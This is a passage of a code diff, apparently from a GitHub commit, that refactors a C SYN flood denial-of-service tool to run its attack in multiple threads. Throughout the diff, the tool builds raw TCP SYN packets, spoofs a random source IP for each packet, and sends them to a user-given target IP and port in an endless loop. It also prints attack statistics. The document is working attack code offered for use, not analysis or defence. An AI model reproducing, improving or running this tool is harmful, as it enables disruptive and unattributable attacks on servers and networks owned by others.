14
14
#include "src/tanitim.c"
15
15
#include "src/random-ip.c"
16
16
17
-
18
17
#define KRMZ "\x1B[31m"
19
18
#define YSL "\x1B[32m"
20
19
#define SR "\x1B[33m"
21
20
#define MV "\x1B[34m"
22
21
#define RESET "\x1B[0m"
23
22
23
+ // Global variable definitions.
24
+ unsigned long p_num = 0 ;
25
+ pthread_mutex_t mut ;
26
+ time_t start_time ;
24
27
25
28
struct sozde_baslik {
26
29
unsigned int kaynak_adres ;
27
30
unsigned int hedef_adres ;
28
31
unsigned char placeholder ; //rezerve
29
32
unsigned char protokol ;
30
33
unsigned short tcp_uzunlugu ;
31
-
32
34
struct tcphdr tcp ;
33
35
};
34
36
37
+ // Newly created thread parameter structure
38
+ struct thread_info {
39
+ int soket ;
40
+ char datagram [4096 ];
41
+ struct iphdr * iph ;
42
+ struct sockaddr_in sin ;
43
+ struct sozde_baslik psh ;
44
+ };
45
+
35
46
unsigned short csum (unsigned short * buf , int nbayt ){
36
47
unsigned long toplam ;
37
48
unsigned short oddbyte ;
@@ -55,7 +66,53 @@ unsigned short csum(unsigned short *buf, int nbayt){
55
66
return (cevap );
56
67
}
57
68
69
+ void bilgi (){
70
+ time_t end_time ;
71
+ double time_diff ;
72
+ time (& end_time );
73
+ time_diff = difftime (end_time , start_time );
74
+ printf ("\n\n----------------------------------------------------------" );
75
+ printf ("\n\nNumber of PACKETS: " YSL "%d" RESET " \t Attack Time: " YSL "%.2f" RESET " second \n\n" RESET , p_num , time_diff );
76
+ printf ("----------------------------------------------------------\n\n" );
77
+ pthread_mutex_destroy (& mut );
78
+ exit (1 );
79
+ }
58
80
81
+ void * attack (void * arg ){
82
+ struct thread_info * attack_param = arg ;
83
+ signal (SIGINT , (void * )bilgi );
84
+ while (1 ){
85
+ //Send packets
86
+ if (sendto (attack_param -> soket , // our socket
87
+ attack_param -> datagram , // datagram includes data and headers
88
+ attack_param -> iph -> tot_len , // total size of datagram
89
+ 0 , // flag
90
+ (struct sockaddr * ) & (attack_param -> sin ), // socket address
91
+ sizeof (attack_param -> sin )) < 0 ) // normal send()
92
+ {
93
+ exit (1 );
94
+ }
95
+ //If packet sending successful
96
+ else
97
+ {
98
+ // Critical section for packet numbers
99
+ pthread_mutex_lock (& mut );
100
+ p_num ++ ;
101
+ if (p_num == 1 )
102
+ printf (YSL "[+]" MV " Attack has been started!\n" RESET );
103
+ pthread_mutex_unlock (& mut );
104
+ }
105
+ // Random IP generate and assign
106
+ char * str ;
107
+ str = (char * )malloc (20 * sizeof (char * ));
108
+ str = randomip ();
109
+ attack_param -> psh .kaynak_adres = htons (atoi (str ));
110
+ attack_param -> iph -> saddr = inet_addr (str );
111
+ attack_param -> iph -> id = htons (rand ()); //Paketin ID'si
112
+ free (str );
113
+ }
114
+
115
+ }
59
116
60
117
int main (int argc , char * argv []){
61
118
@@ -64,52 +121,46 @@ int main(int argc, char *argv[]){
64
121
printf (YSL "USAGE:" RESET " %s <source port> <target IP> <target port> <threads number>\n" , argv [0 ]);
65
122
exit (0 );
66
123
}
67
-
124
+
68
125
tanitim ();
69
-
70
- time_t baslangic , bitis ;
71
- time (& baslangic );
72
- double zaman_farki ;
73
-
74
-
75
- //Ham soket olustur
76
- int soket = socket (PF_INET , SOCK_RAW , IPPROTO_TCP );
77
-
78
- //Datagram paketi hazirlar
79
- char datagram [4096 ], source_ip [32 ];
80
-
81
- //IP basligi
82
- struct iphdr * iph = (struct iphdr * )datagram ;
83
-
84
- //TCP basligi
85
- struct tcphdr * tcph = (struct tcphdr * )(datagram + sizeof (struct ip ));
86
- struct sockaddr_in sin ;
87
- struct sozde_baslik psh ;
88
-
89
- sin .sin_family = AF_INET ;
90
- sin .sin_port = htons (atoi (argv [1 ])); //Kaynak portu belirttik.
91
- sin .sin_addr .s_addr = inet_addr (argv [2 ]); //Hedef IP ilerde kullanmak icin belirttik
92
-
93
- memset (datagram , 0 , 4096 ); //Datagramı set ediyoruz
94
-
95
- //IP basligini doldur
96
- char * str ;
97
- str = (char * )malloc (20 * sizeof (char * ));
98
- str = randomip ();
99
-
100
- iph -> ihl = 5 ;
101
- iph -> version = 4 ;
102
- iph -> tos = 0 ;
103
- iph -> tot_len = sizeof (struct ip ) + sizeof (struct tcphdr );
104
- iph -> id = htons (rand ()); //Paketin ID'si
105
- iph -> frag_off = 0 ;
106
- iph -> ttl = 255 ; //time to live suresi en uzun 255 ayarladik.
107
- iph -> protocol = IPPROTO_TCP ;
108
- iph -> check = 0 ; //Checksum hesaplanmadan once 0 ayarliyoruz
109
- iph -> daddr = sin .sin_addr .s_addr ; //Hedef IP'yi belirtmistik.
110
- iph -> check = csum ((unsigned short * ) datagram , iph -> tot_len >> 1 );
111
-
112
- //TCP Basligi
126
+
127
+ struct thread_info th_param ;
128
+ //Create raw socket
129
+ th_param .soket = socket (PF_INET , SOCK_RAW , IPPROTO_TCP );
130
+ if (th_param .soket == -1 ){
131
+ printf (KRMZ "[-]" RESET " Create socket error! Error NO : %d . Error Message : %s \n" , errno , strerror (errno ));
132
+ exit (0 );
133
+ }
134
+ //Init datagram packet
135
+ char source_ip [32 ];
136
+
137
+ //IP header
138
+ th_param .iph = (struct iphdr * )(th_param .datagram );
139
+
140
+ //TCP header
141
+ struct tcphdr * tcph = (struct tcphdr * )(th_param .datagram + sizeof (struct ip ));
142
+
143
+ th_param .sin .sin_family = AF_INET ;
144
+ th_param .sin .sin_port = htons (atoi (argv [1 ])); //Specify source port
145
+ th_param .sin .sin_addr .s_addr = inet_addr (argv [2 ]); //Specify target IP
146
+
147
+ memset (th_param .datagram , 0 , 4096 ); // Fill the buffer of datagram with 0
148
+
149
+ //Set IP headers
150
+ th_param .iph -> ihl = 5 ;
151
+ th_param .iph -> version = 4 ;
152
+ th_param .iph -> tos = 0 ;
153
+ th_param .iph -> tot_len = sizeof (struct ip ) + sizeof (struct tcphdr );
154
+
155
+ th_param .iph -> id = htons (rand ()); // Packet ID
156
+ th_param .iph -> frag_off = 0 ;
157
+ th_param .iph -> ttl = 255 ; // TTL = 255
158
+ th_param .iph -> protocol = IPPROTO_TCP ;
159
+ th_param .iph -> check = 0 ; // Set this before configure checksum
160
+ th_param .iph -> daddr = th_param .sin .sin_addr .s_addr ; // Assing target IP
161
+ th_param .iph -> check = csum ((unsigned short * ) th_param .datagram , th_param .iph -> tot_len >> 1 );
162
+
163
+ //TCP Header
113
164
114
165
tcph -> source = htons (atoi (argv [1 ]));
115
166
tcph -> dest = htons (atoi (argv [3 ]));
@@ -122,89 +173,44 @@ int main(int argc, char *argv[]){
122
173
tcph -> psh = 0 ;
123
174
tcph -> ack = 0 ;
124
175
tcph -> urg = 0 ;
125
- tcph -> window = htons (5840 ); /* max kabul edilen window boyutu */
176
+ tcph -> window = htons (5840 ); /* max allowed window size */
126
177
tcph -> check = 0 ;/* Eger checksumu 0 a ayarlarsak, kernelimiz iletim sırasında dogrusunu ayarlayacaktir */
127
178
tcph -> urg_ptr = 0 ;
128
- //IP cheksumu
129
-
130
- psh .hedef_adres = sin .sin_addr .s_addr ;
131
- psh .placeholder = 0 ;
132
- psh .protokol = IPPROTO_TCP ;
133
- psh .tcp_uzunlugu = htons (20 );
134
-
135
- memcpy (& psh .tcp , tcph , sizeof (struct tcphdr ));
136
-
137
- tcph -> check = csum ( (unsigned short * ) & psh , sizeof (struct sozde_baslik ));
179
+
180
+ th_param .psh .hedef_adres = th_param .sin .sin_addr .s_addr ;
181
+ th_param .psh .placeholder = 0 ;
182
+ th_param .psh .protokol = IPPROTO_TCP ;
183
+ th_param .psh .tcp_uzunlugu = htons (20 );
184
+
185
+ memcpy (& (th_param .psh ).tcp , tcph , sizeof (struct tcphdr ));
186
+
187
+ tcph -> check = csum ( (unsigned short * ) & (th_param .psh ) , sizeof (struct sozde_baslik ));
138
188
139
189
//IP_HDRINCL kernele headerin pakete include edildigini soyler
140
190
int one = 1 ;
141
191
const int * val = & one ;
142
- if (setsockopt (soket , IPPROTO_IP , IP_HDRINCL , val , sizeof (one )) < 0 )
192
+ if (setsockopt (th_param . soket , IPPROTO_IP , IP_HDRINCL , val , sizeof (one )) < 0 )
143
193
{
144
194
printf (KRMZ "[-]" RESET " IP_HDRINCL error! Error NO : %d . Error Message : %s \n" , errno , strerror (errno ));
145
195
exit (0 );
146
196
}
147
197
else {
148
198
printf (YSL "[+] " RESET "IP_HDRINCL success!\n" );
149
199
}
150
- unsigned long p_sayi = 0 ;
151
-
152
- //Attack fonksiyonu threadin argv parametrelerini kullanması için main fonksiyonunun icinde olusturuldu
153
- void * attack (void * bos ){
154
- void bilgi (){
155
- time (& bitis );
156
- zaman_farki = difftime (bitis , baslangic );
157
- printf ("\n\n----------------------------------------------------------" );
158
- printf ("\n\nNumber of PACKETS: " YSL "%d" RESET " \t Attack Time: " YSL "%.2f" RESET " second \n\n" RESET , p_sayi , zaman_farki );
159
- printf ("----------------------------------------------------------\n\n" );
160
- exit (1 );
161
- }
162
- signal (SIGINT , bilgi );
163
- while (1 ){
164
- p_sayi ++ ;
165
-
166
- //Paketi yolla
167
- if (sendto (soket , // soketimiz
168
- datagram , // buffer iceren basliklar ve veriler
169
- iph -> tot_len , // datagramin toplam boyutu
170
- 0 , // yonlendirme bayragi genellikle 0 oluyor
171
- (struct sockaddr * ) & sin , // soket adresi
172
- sizeof (sin )) < 0 ) // normal bir send()
173
- {
174
- printf ("[-] ERROR\n" );
175
- exit (1 );
176
- }
177
- //Basarili ise
178
- else
179
- {
180
- if (p_sayi == 1 )
181
- printf (YSL "[+]" MV " Attack has been started!\n" RESET );
182
-
183
- }
184
-
185
- psh .kaynak_adres = htons (atoi (str ));
186
- iph -> saddr = inet_addr (str );
187
- iph -> id = htons (rand ()); //Paketin ID'si
188
- str = randomip (); //Bir IP SYN yolladiginda, hemen diger IP'yi uretiyoruz.
189
- }
190
-
191
- }
192
-
193
200
int thread_number = atoi (argv [4 ]);
194
201
pthread_t thread [thread_number ];
195
-
202
+ pthread_mutex_init (& mut , NULL ); // Init mutex
203
+ time (& start_time ); // Start timer
196
204
for (int i = 0 ; i < thread_number ; i ++ ){
197
- if (pthread_create (& thread [i ], NULL , & attack , NULL ) != 0 ){
205
+ if (pthread_create (& thread [i ], NULL , & attack , & th_param ) != 0 ){
198
206
printf (KRMZ "[-]" RESET " Failed the create THREADS!\n" );
199
207
exit (1 );
200
208
}
201
209
else {
202
- while ( 1 )
203
- sleep (1 ); //Sonsuz DDoS attack with threads. Burada threadleri bekletiyoruz.
204
-
210
+ if ( i == thread_number - 1 ) // if all thread has started
211
+ while (1 )
212
+ sleep ( 1 ); // wait main thread.
205
213
}
206
214
}
207
-
208
-
209
215
return 0 ;
210
216
}
0 commit comments